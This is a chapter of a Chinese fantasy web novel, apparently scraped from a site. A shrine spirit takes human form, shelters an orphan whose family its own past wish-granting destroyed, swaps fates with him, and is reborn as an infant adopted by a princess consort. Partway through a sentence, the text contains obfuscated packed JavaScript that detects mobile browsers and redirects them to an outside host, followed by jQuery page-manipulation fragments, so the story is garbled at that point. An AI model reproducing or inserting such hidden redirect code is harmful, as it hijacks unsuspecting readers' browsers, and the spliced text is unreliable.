破庙重归冷清,但这并未影响灵识心中日益澎湃的喜悦。
这是它第一次尝试凝聚实体,化形为人。它低头看着自己的“双手”,感受着虚幻的灵质一点点变得凝实、温热,生出清晰的纹理与骨骼的触感。躯干、四肢、五官…属于“人”的形态渐渐清晰。
终于,在一个阳光明媚的正午,它深吸一口气,以人的双脚,第一次踏出了那座守护了千年的庙门。
炽烈的阳光毫无遮拦地倾泻而下。他下意识地仰头直视,那过于灿烂的光芒瞬间刺痛了他的双眼,让他忍不住眯了起来。
光是有重量的——他清晰地感觉到。那温暖的金色先是轻柔地落在他的鼻尖上,带来一丝微痒,随即又暖暖地覆盖了他的肩头,顺着脊背的线条缓缓流淌而下。阳光如同最温柔的手,将他初生的、略显僵硬的皮肤一寸寸熨帖开来,带来难以言喻的酥麻感。
微风拂过林间,带来山野的气息。他贪婪地呼吸着,草木的清新、泥土的微腥、野花的淡雅、朽木的沉郁…无数种气息混合着,被风卷送着涌入鼻腔,直抵心脾。
五感从未如此刻般敏锐,每一缕风,每一片叶的摩挲,都仿佛在他心头奏响乐章。
他忍不住张开双臂,仰面躺倒在柔软的草地上,想要拥抱这全新的世界。
就在这时,一股浓烈刺鼻的血腥气,混杂着惊惶的喘息和野兽低沉的咆哮,猛地冲入他敏锐的感官!
“救命——!有没有人——救救我!!”
稚嫩而绝望的呼救声撕裂了林间的宁静。他猛地坐起,循声望去。
只见一个约莫六七岁的幼童,衣衫褴褛,满身泥泞和血污,正跌跌撞撞地在密林中亡命奔逃。他身后不远处,一头眼冒绿光的野猪,獠牙外露,涎水直流,正紧追不舍!
他的心瞬间揪紧,几乎是本能地就要抬手施救——金光已在指尖凝聚!
不行!
那个农夫惨死的画面、逆子狰狞的面孔,如同冰冷的毒蛇,瞬间噬咬住他的冲动。天地运转,因果循环,生死有命…强行干涉,是否又是在酿造新的悲剧?
可若是以一个“人”的身份去帮助呢?这念头电光火石般闪过。
就在他犹豫的刹那,身体却已先于思考做出了反应!
一道并不炫目却凝练无比的金光自他指尖激射而出,精准地击打在野猪前方的地面上,炸开一个小坑。野猪受惊,发出一声畏惧的嚎叫,夹着尾巴,瞬间没入密林深处。
幼童因极度的恐惧和力竭,扑倒在地。他惊魂未定地抬头,只见一个身影如神祇般挡在了他与危险之间。
逆着光,那人影的轮廓仿佛镶着金边。幼童呆住了,那双因惊恐而瞪大的、如同墨玉般的眼睛里,此刻只倒映着眼前这人的身影,充满了劫后余生的茫然。
化为人的灵识收敛了指尖的微光,走到孩子面前,蹲下身,尽量放柔了声音:“别怕,它走了。你安全了。”
他伸手想扶起孩子,却被对方下意识地瑟缩躲开。
他的手停在半空,目光扫过孩子身上的血污,心中了然,声音更加温和:“你怎么一个人在这深山里?告诉我你家在哪儿?我送你回去。”
幼童依旧呆愣着,仿佛被抽走了魂魄,过了好一会儿,才用一种平板得没有一丝起伏的语调回答:“血…好多血…爹…死了。”
他的心猛地一沉,一股强烈的怜悯涌上心头。他轻轻叹了口气,伸出手,这一次,孩子没有躲开。
他小心地拂去孩子脸上的泥污,露出底下苍白却异常清秀的小脸:“可怜的孩子…那你叫什么名字?若是…若是暂时没有地方可去,先跟我回庙里歇歇,好吗?”
幼童漆黑的眼眸空洞地望着他,机械地回答:“陈照雪。”
然后,异常顺从地,任由他牵起冰冷的小手,一步一步,走向那座隐于林间的破庙。
破庙内,他寻了些清水和干净的布,仔细地为陈照雪清理伤口和污迹。看着孩子木然的神情,他斟酌着开口:“你家…是遭了祸事?”话一出口,又觉不妥,忙道,“若是不想说,就不必说了。”
陈照雪沉默着,用那双毫无神采的黑眼睛看着跳跃的篝火,半晌,才用毫无波澜的声音陈述道:“爹被冤枉受贿…全家被杀…只剩我和娘…我找不到…我娘。”每一个字都像冰珠砸在地上。
擦拭的动作猛地僵住,一股寒意从脊椎直冲头顶,他霍然抬头,紧紧盯着陈照雪的脸,声音带着他自己都未察觉的急促和颤抖:“你家…是?”
“江州陈家。”陈照雪清晰地吐出这四个字,仿佛在说一个与己无关的地方。
轰——
他只觉脑中一声巨响,神魂剧震。江州陈家,那个因主事者被扣上贪污帽子而全家罹难的江州陈家!那个惨祸的源头…是他当年随手“成全”了某人平步青云的愿望!
巨大的愧疚如同滔天巨浪,瞬间将他淹没。
他踉跄一步,被陈照雪小小的身体撞了一下才稳住。他低下头,看着眼前这个因自己昔日“善举”而家破人亡、流落荒野的孩子,那双纯净却死寂的眼睛,像最锋利的刀子,狠狠剜在他的心上。温热的液体无法抑制地涌上眼眶,模糊了视线。
“对…对不起…”他的声音哽咽沙哑,泪水终于滑落,滴在陈照雪的手背上。
陈照雪只是茫然地眨了眨眼,看着手背上那滴温热的水珠,又抬头看看眼前这个突然落泪的人,小小的脸上依旧没有任何表情,仿佛完全不明白这眼泪的含义。
更不明白这迟来了数年的道歉,承载着怎样沉重的因果。
……
灵识将陈照雪留在了破庙。
破败的庙宇,因为多了一个小小的身影,竟奇迹般地生出了一丝人间烟火气。灵识褪去了神性的疏离,笨拙地学着做一个“人”,一个照顾者。
他寻来干净的衣物替换陈照雪褴褛的衣衫,用山中野果、偶尔猎到的野味细心烹煮食物。
他每日耐心地教导陈照雪识字,诵读简单的经文,甚至开始传授他一些最基础的引气入体的法门,希冀这修仙之道能成为孩子未来安身立命、甚至洗刷冤屈的倚仗。
然而,在为陈照雪推演命格之后,他的心却沉入了谷底。
卦象显现:天煞孤星,灾厄缠身,刑克六亲。正是那传说中的“灾厄之子,天降煞星”。
他看着卦象,脸色瞬间变得凝重无比。这命格,何其酷烈。这孩子身上背负的,不仅是血海深仇,更有这仿佛被天道厌弃的诅咒。
他闭了闭眼,压下翻涌的心绪。再睁开时,他脸上已绽开一个温暖得能融化冰雪的笑容,甚至带着点夸张的惊喜,对着安静坐在一旁、面无表情的陈照雪说道:
“哇!了不得!原来是大福星降世了!好命格!”
陈照雪抬起头,黑沉沉的眼睛看着他,没有质疑,也没有欣喜,只是几不可察地点了点头,仿佛他说什么就是什么。
他心中酸涩更甚,这孩子的心,似乎随着家门的鲜血一起被冰封了。
他蹲到陈照雪面前,用手指点了点自己的脸颊,努力笑得更加灿烂,像春日里最和煦的阳光:“小朋友,要多笑笑,知道吗?笑起来运气才会更好哦!你看,就像这样!”他示范了一个大大的、毫无阴霾的笑容。
陈照雪看着他的笑脸,小小的眉头似乎困惑地皱了一下。
然后,他极其缓慢、极其僵硬地,尝试着拉扯自己的嘴角。那动作笨拙得如同初学走路的幼兽,嘴角的肌肉仿佛不听使唤,最终只形成一个古怪而扭曲的弧度,比哭还难看。
“噗嗤——”他被这努力又笨拙的模样逗得忍俊不禁,笑出了声,笑着笑着,眼底却泛起更深的怜惜,
“你啊,真是我见过的最不会笑的小孩儿了。”他伸出手,温柔地揉了揉陈照雪的头发。
时光在破庙的晨诵暮读中悄然流逝,距离与昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035978|178678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
武王妃宁霖的十月之约,越来越近。
这一夜,他坐在篝火旁,凝视着身旁熟睡的孩子。
陈照雪的睡颜依旧安静得近乎没有生气,长长的睫毛在眼下投出淡淡的阴影。火光跳跃,映照着他苍白的小脸。
是该道别了,他心中涌起强烈的不舍。
送你最后一个礼物吧,孩子。这或许,是我唯一能做的,真正的“赎罪”。
他轻轻抬起手,指尖萦绕起玄奥莫测、近乎透明的光华。
这光华无声无息地没入陈照雪的眉心,同时,也有一道微弱的、带着不祥气息的灰暗气流从陈照雪体内被缓缓抽出。
他毫不犹豫地将那道灰暗气流引入自身灵台深处,同时,将自己本源中的纯净命格金光,小心翼翼地、毫无保留地渡入陈照雪的灵魂深处。
命格互换,逆天改命。
做完这一切,他的脸色瞬间苍白了几分,一丝难以言喻的疲惫感袭来。他最后看了一眼这座承载了千年孤寂、短暂烟火的破庙。
匾额上“无上神庙”的字迹早已斑驳得难以辨认,如同他即将逝去的过往。
他走到角落,取出早已备好的纸笔。提笔时,有片刻的停顿,最终落下的,依旧是带着笑意的、轻松的字句:
小孩儿:
你师傅我掐指一算,凡尘俗世还有大好风光等着我去体验,这就下山去也!别太想念为师!为师给你留了一份‘绝世大礼包’,等你长大自会知晓。要乖乖吃饭,好好修炼,别总板着脸!
——会想你的,史上最强师傅留
笔锋落下最后一个字,一丝淡淡的留恋萦绕心间。
他走到沉睡的陈照雪身边,将一个红熔石项链小心地放入陈照雪怀中。最后深深看了一眼那张稚嫩却已显清俊轮廓的小脸。
然后,他淡笑着,盘膝坐于庙宇中央。双手结出一个极其古老的印诀。指尖光芒流转,不是攻击,而是抹除。
他引导着那光芒,如同最温柔的潮水,一遍遍冲刷过自己的灵识深处。千年守护的记忆…所有的画面、情感、因果羁绊…都在这光芒中如同沙堡般,无声地坍塌、消散。
记忆被彻底抹去,回归最原始的混沌。强大的灵识力量开始坍缩、重塑,最终凝聚成一个纯净无比的、不染尘埃的生命本源。
灵识的身影彻底消失,原地只剩下一个包裹在柔和光晕中的、肌肤雪白如玉的婴儿。
他闭着眼睛,表情恬淡安详,呼吸均匀,仿佛初生的朝阳,带着对这个世界全然的无知与全然的信任,等待着被迎接。
……
宁霖王妃如约而至。
破庙比数月前更加残破不堪,荒草几乎要掩埋了门庭。
她缓步走近,目光扫过断壁残垣,最终,定格在庙门口那株历经风雨却依旧苍翠的古桑树下。
桑叶如盖,在晨风中轻轻摇曳,就在那浓密的树荫下,厚厚一层落叶之上,安放着一个襁褓。
宁霖的心跳漏了一拍,她快步上前,小心翼翼地俯身。
襁褓中的婴儿,肌肤胜雪,吹弹可破。他睡得正沉,小嘴微微嘟着,气息均匀绵长。那份纯净与美好,与周遭的破败荒凉形成了最强烈的对比。
一股难以言喻的暖流瞬间涌遍宁霖全身,这一刻,期盼都化作了眼前这个小小的生命。一种源自生命本源的、汹涌澎湃的母爱,毫无预兆地在她心底炸开,瞬间填满了所有的空隙。
她颤抖着伸出手,无比轻柔地将婴儿抱起,拥入怀中。温软的小身体带着生命的馨香,瞬间驱散了山林的寒意。
她抬头,望着头顶那片亭亭如盖的桑叶,在晨光中舒展着生机。
“桑树下…佛给予我的孩子…”宁霖的声音带着哽咽,更多的却是满溢的温柔与坚定,“就叫你…桑予吧。”
宁霖抱着洛桑予,转身,一步步离开了这座彻底完成了使命的破庙,走向山下属于凡尘的人间烟火。